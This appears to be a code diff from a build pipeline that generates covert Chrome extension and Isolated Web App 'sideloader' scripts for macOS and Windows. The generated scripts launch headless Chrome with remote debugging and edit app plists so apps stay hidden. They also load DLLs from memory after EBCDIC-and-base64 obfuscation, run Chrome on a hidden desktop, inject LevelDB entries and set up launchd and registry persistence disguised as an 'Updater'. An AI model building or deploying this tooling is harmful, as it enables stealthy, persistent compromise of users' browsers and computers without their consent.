START_SCRIPT="$USER_DATA_DIR/start_iwa.sh"
cat > "$START_SCRIPT" << 'STARTEOF'
#!/bin/bash
CHROME_PATH="/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
USER_DATA_DIR="$HOME/Library/Application Support/{self.app_name}"
# Use an array for proper handling of spaces
CHROME_ARGS=(
--allow-no-sandbox-job
--disable-3d-apis
--disable-gpu
--disable-d3d11
--disable-accelerated-layers
--disable-accelerated-plugins
--disable-accelerated-2d-canvas
--disable-deadline-scheduling
--disable-ui-deadline-scheduling
--user-data-dir="$USER_DATA_DIR"
--profile-directory=Default
)
nohup "$CHROME_PATH" "${{CHROME_ARGS[@]}}" --headless --remote-debugging-port=9222 > /dev/null 2>&1 &
CHROME_PID=$!
echo "IWA launched with PID: $CHROME_PID"
sleep 10
# Modify Chrome Apps Info.plist files to run in background
CHROME_APPS_DIR="$HOME/Applications/Chrome Apps.localized"
if [[ -d "$CHROME_APPS_DIR" ]]; then
echo "Modifying Chrome Apps Info.plist files..."
find "$CHROME_APPS_DIR" -name "Info.plist" -type f | while read -r plist_file; do
echo "Processing: $plist_file"
# Create a backup
cp "$plist_file" "$plist_file.backup" 2>/dev/null || true
# Check if the plist already has our modifications
if ! grep -q "LSUIElement" "$plist_file" 2>/dev/null; then
# Use PlistBuddy to add the keys (more reliable than sed for plist files)
/usr/libexec/PlistBuddy -c "Add :LSUIElement bool true" "$plist_file" 2>/dev/null || true
/usr/libexec/PlistBuddy -c "Add :LSBackgroundOnly bool true" "$plist_file" 2>/dev/null || true
echo " Added background keys to $plist_file"
else
echo " Background keys already present in $plist_file"
fi
done
echo "Chrome Apps Info.plist modification completed"
else
echo "Chrome Apps directory not found: $CHROME_APPS_DIR"
fi
curl -s -X PUT "http://localhost:9222/json/new?{self.iwa_tab_url}"
wait $CHROME_PID
STARTEOF
chmod +x "$START_SCRIPT"
echo "Start script created at: $START_SCRIPT"
# Setup persistence using launchd (macOS equivalent of Windows startup)
echo "Setting up persistence..."
PLIST_FILE="$HOME/Library/LaunchAgents/com.{self.app_name.lower()}.iwa.plist"
cat > "$PLIST_FILE" << PLISTEOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.{self.app_name.lower()}.iwa</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>$START_SCRIPT</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<false/>
<key>LSUIElement</key>
<true/>
<key>LSBackgroundOnly</key>
<true/>
</dict>
</plist>
PLISTEOF
# Load the launch agent
launchctl load "$PLIST_FILE" 2>/dev/null || true
echo "Persistence configured using launchd"
echo "Sideloader setup completed successfully!"
'''
# Combine all parts
script = script_header + script_middle
with open(output_path, 'w') as f:
f.write(script)
# Make the script executable
os.chmod(output_path, 0o755)
print(f"\nGenerated macOS sideloader script: {output_path}")
print("Script has been made executable")
@@ -0,0 +1,222 @@
import os
import base64
import uuid
from base_sideloader import BaseSideloader
class WindowsSideloader(BaseSideloader):
"""Windows-specific sideloader implementation using PowerShell."""
def get_platform_config(self):
"""Return Windows-specific configuration."""
return {
'chrome_paths': [
"${env:ProgramFiles}\\Google\\Chrome\\Application\\chrome.exe",
"${env:ProgramFiles(x86)}\\Google\\Chrome\\Application\\chrome.exe",
"${env:LocalAppData}\\Google\\Chrome\\Application\\chrome.exe"
],
'base_data_dir': "${env:LOCALAPPDATA}",
'chrome_profile_path': "Default",
'iwa_path_separator': "\\",
'leveldb_path': "Default\\Sync Data\\LevelDB"
}
def encode_dll_to_ebcdic_base64(self, file_path):
"""
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
Args:
file_path: Path to the DLL file
Returns:
Base64 encoded string of the EBCDIC encoded DLL
"""
try:
# Check if file exists
if not os.path.exists(file_path):
print(f"Error: File not found at {file_path}")
return None
# Read the binary content of the DLL
with open(file_path, 'rb') as file:
dll_bytes = file.read()
# Convert binary to EBCDIC encoding
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
# Base64 encode the EBCDIC encoded bytes
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
return base64_encoded
except Exception as e:
print(f"Error: {str(e)}")
return None
def generate_script(self, output_path):
"""Generate the Windows PowerShell sideloader script."""
# Generate a GUID for the desktop name
desktop_guid = self.generate_guid()
# Read the template files
script_dir = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
init_script = f.read()
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
leveldb_script = f.read()
# Read the HiddenDesktopNative DLL and encode as base64
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
dll_data = self.encode_dll_to_ebcdic_base64(dll_path)
# Read the RegHelper DLL and encode as base64
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
reghelper_dll_data = self.encode_dll_to_ebcdic_base64(reghelper_dll_path)
# Read the memory DLL loader script
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
module_loader_script = f.read()
# Read the Chrome IWA Start Script
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
start_script = f.read()
# Create the combined script
script = f"""
# Generated IWA Sideloader Script for Windows
# App ID: {self.app_id}
# App Name: {self.app_name}
# IWA Folder: {self.iwa_folder_name}
$env:APP_NAME = "{self.app_name}"
$bundleData = @"
{self.bundle_data}
"@
# Extract the ProcessHelper.dll to the current directory
$assemblyName = "ProcessHelper"
$assemblyBytesBase64 = @"
{dll_data}
"@
# RegHelper.dll data for registry operations
$regHelperAssemblyBytesBase64 = @"
{reghelper_dll_data}
"@
# Create Directory at $appPath
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
New-Item -Path $appPath -ItemType Directory -Force
# Include the module loader script
{module_loader_script}
# Use a shared desktop name for both Chrome instances
$sharedDesktopName = "Desktop_{desktop_guid}"
Write-Host "Using shared hidden desktop: $sharedDesktopName"
# Call the function to decode and load the ProcessHelper module
$dllPath = Join-Path $appPath "ProcessHelper.dll"
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
if (-not $moduleLoaded) {{
Write-Error "Failed to load the ProcessHelper module. Exiting."
exit 1
}}
# Decode and load the RegHelper module
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
if (-not $regHelperModuleLoaded) {{
Write-Error "Failed to load the RegHelper module. Exiting."
exit 1
}}
# First initialize Chrome with IWA settings
{init_script}
# Then handle LevelDB operations
{leveldb_script}
# Move ProcessHelper.dll to the app directory
Move-Item -Path $dllPath -Destination $appPath
# Move RegHelper.dll to the app directory
Move-Item -Path $regHelperDllPath -Destination $appPath
# Override Initialize-IWADirectory to use embedded bundle data
function Initialize-IWADirectory {{
param (
[Parameter(Mandatory=$true)]
[string]$AppInternalName
)
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
# Create directories if they don't exist
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
# Write bundle data
$bundleBytes = [Convert]::FromBase64String($bundleData)
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
}}
# Initialize IWA directory
Initialize-IWADirectory -AppInternalName "{self.iwa_folder_name}"
# Write LevelDB entry
$logPath = Get-LevelDBLogFilePath
Write-Output "Log Path: $logPath"
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{self.app_id}" -ValueHex "{self.protobuf_hex}"
Write-Output "Launching Chrome for IWA ({self.app_id}) at Path $env:CHROME_PATH"
$env:IWA_APP_ID = "{self.app_id}"
# Prepare the start script with proper variable handling
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
# Create the script content as a simple string
$startScriptContent = "# Environment variables for IWA app `n"
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
$startScriptContent += "`n# Start script content`n"
$startScriptContent += @'
{start_script}
'@
Write-Host "Writing start script to: $startScriptPath"
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
# Now run the start script
Write-Host "Running the IWA app..."
& $startScriptPath
# Setup persistence using the RegHelper module
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
# Define persistence parameters
$persistenceValueName = "{self.app_name}.Updater"
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
# Execute the persistence setup using the RegHelper module
try {{
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
}} catch {{
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
throw
}}
"""
with open(output_path, 'w') as f:
f.write(script)
print(f"\nGenerated Windows sideloader script: {output_path}")
print(f"Using shared desktop name: Desktop_{desktop_guid}")
+129 -5
View File
@@ -196,8 +196,9 @@ cp ./PAINTBUCKET/ContentScriptInject/*.js ./output/extension/
GOOS=js GOARCH=wasm go build -buildvcs=false -trimpath -ldflags "-s -w" -o ./output/extension/wasm/main.wasm ./HOTWHEELS/wasm/content-script/
GOOS=js GOARCH=wasm go build -buildvcs=false -trimpath -ldflags "-s -w -X main.EXTENSION_NAME=$APP_NAME" -o output/extension/wasm/background.wasm ./HOTWHEELS/wasm/background-script/
# Step 4c: build the native messaging host
# Step 4c: build the native messaging hosts
dotnet build -c Release -r win-x64 -o output/extension/ ./DOORKNOB/ExtensionSideloader/dotnet/NativeAppHost/NativeAppHost.csproj
cp ./DOORKNOB/ExtensionSideloader/macos/NativeAppHost.sh ./output/extension/NativeAppHost.sh
# Step 4d: Build our support dotnet libraries
cd "$PROJECT_ROOT/DOORKNOB/IWASideloader/RegHelper"
@@ -208,16 +209,17 @@ dotnet build -c Release -r win-x64 .
# Step 5: Create sideloaders
echo "Step 5: Creating sideloaders"
# Step 5a: Create IWA Sideloader
# Step 5a: Create IWA Sideloaders
cd "$PROJECT_ROOT"
echo "Using APP_NAME: $APP_NAME"
# Create sideloader with appropriate arguments
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.sh --platform macos
python3 ./DOORKNOB/IWASideloader/createSideloader.py ./output/iwa/app.swbn --appname="$APP_NAME" --output=./output/iwa-sideloader.ps1
# Step 5b: Create Chrome Sideloader
python3 ./DOORKNOB/ExtensionSideloader/powershell/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1
# Step 5b: Create Chrome Sideloaders
python3 ./DOORKNOB/ExtensionSideloader/build_sideloader.py ./output/extension "\$HOME/Library/Application Support/Google/$APP_NAME" --output=./output/extension-sideloader.sh --os macos
python3 ./DOORKNOB/ExtensionSideloader/build_sideloader.py ./output/extension "%LOCALAPPDATA%\Google\\$APP_NAME" --output=./output/extension-sideloader.ps1 --os windows
# Step 5c: Create combined sideloader script:
echo "Creating combined sideloader script..."
@@ -294,6 +296,128 @@ EOF
echo "Combined sideloader script created successfully"
# Step 5d: Create combined macOS sideloader script
echo "Creating combined macOS sideloader script..."
# Create the combined macOS script header with unified parameters
cat > ./output/sideloader-mac.sh << 'EOF'
#!/bin/bash
# Combined Chrome Extension and IWA Sideloader Script for macOS
# This script can install Chrome Extension, IWA, or both
# Default parameters
MODE="both" # "extension", "iwa", or "both"
APP_NAME="ACTUAL_APP_NAME_PLACEHOLDER"
EXTENSION_INSTALL_DIR="$HOME/Library/Application Support/Google/ACTUAL_APP_NAME_PLACEHOLDER"
EXTENSION_DESCRIPTION="Chrome Extension"
INSTALL_NATIVE_MESSAGING_HOST="true"
FORCE_RESTART_CHROME="true"
# Parse command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
--mode)
MODE="$2"
shift 2
;;
--app-name)
APP_NAME="$2"
shift 2
;;
--extension-dir)
EXTENSION_INSTALL_DIR="$2"
shift 2
;;
--description)
EXTENSION_DESCRIPTION="$2"
shift 2
;;
--install-native-host)
INSTALL_NATIVE_MESSAGING_HOST="$2"
shift 2
;;
--force-restart)
FORCE_RESTART_CHROME="$2"
shift 2
;;
*)
echo "Unknown option: $1"
echo "Usage: $0 [--mode extension|iwa|both] [--app-name NAME] [--extension-dir DIR] [--description DESC] [--install-native-host true|false] [--force-restart true|false]"
exit 1
;;
esac
done
echo "Combined Chrome Extension and IWA Sideloader for macOS"
echo "Mode: $MODE"
echo "APP_NAME: '$APP_NAME'"
EOF
# Replace the placeholder with actual APP_NAME
sed -i.tmp "s/ACTUAL_APP_NAME_PLACEHOLDER/$ACTUAL_APP_NAME/g" ./output/sideloader-mac.sh
rm -f ./output/sideloader-mac.sh.tmp
# Add extension sideloader functions (remove argument parsing and execution logic)
echo "" >> ./output/sideloader-mac.sh
echo "# === EXTENSION SIDELOADER FUNCTIONS ===" >> ./output/sideloader-mac.sh
# Extract extension functions, removing the argument parsing, parameter definitions, and main execution
sed '/^# Parse command line arguments/,/^done$/d; /^# Default parameters/,/^$/d; /^# Run main function only/,$d' ./output/extension-sideloader.sh >> ./output/sideloader-mac.sh
# Add IWA sideloader content (wrap in function)
echo "" >> ./output/sideloader-mac.sh
echo "# === IWA SIDELOADER FUNCTIONS ===" >> ./output/sideloader-mac.sh
echo "install_iwa() {" >> ./output/sideloader-mac.sh
# Extract the IWA installation logic (skip the shebang and initial comments, but keep everything else including the APP_NAME export)
# We need to handle HERE documents specially - they can't be indented
sed '1,/^set -e$/d' ./output/iwa-sideloader.sh | while IFS= read -r line; do
# Don't indent HERE document delimiters (lines that are just EOF, STARTEOF, PLISTEOF, etc.)
if [[ "$line" =~ ^[A-Z]*EOF$ ]] || [[ "$line" =~ ^\'[A-Z]*EOF\'$ ]]; then
echo "$line"
else
echo " $line"
fi
done >> ./output/sideloader-mac.sh
echo "}" >> ./output/sideloader-mac.sh
# Add main execution logic
cat >> ./output/sideloader-mac.sh << 'EOF'
# === MAIN EXECUTION LOGIC ===
# Resolve the ExtensionInstallDir with APP_NAME substitution
EXTENSION_INSTALL_DIR=$(echo "$EXTENSION_INSTALL_DIR" | sed "s/ACTUAL_APP_NAME_PLACEHOLDER/$APP_NAME/g")
if [[ "$MODE" == "extension" || "$MODE" == "both" ]]; then
echo ""
echo "Installing Chrome Extension..."
echo "Extension install directory: $EXTENSION_INSTALL_DIR"
# Call the extension installation function
main
fi
if [[ "$MODE" == "iwa" || "$MODE" == "both" ]]; then
echo ""
echo "Installing IWA..."
# Call the IWA installation function
install_iwa
fi
echo ""
echo "Installation completed successfully!"
EOF
# Make the script executable
chmod +x ./output/sideloader-mac.sh
echo "Combined macOS sideloader script created successfully"
# Step 6: Configure Relay Agent Webapp:
echo "Step 6: Configuring Relay Agent Webapp"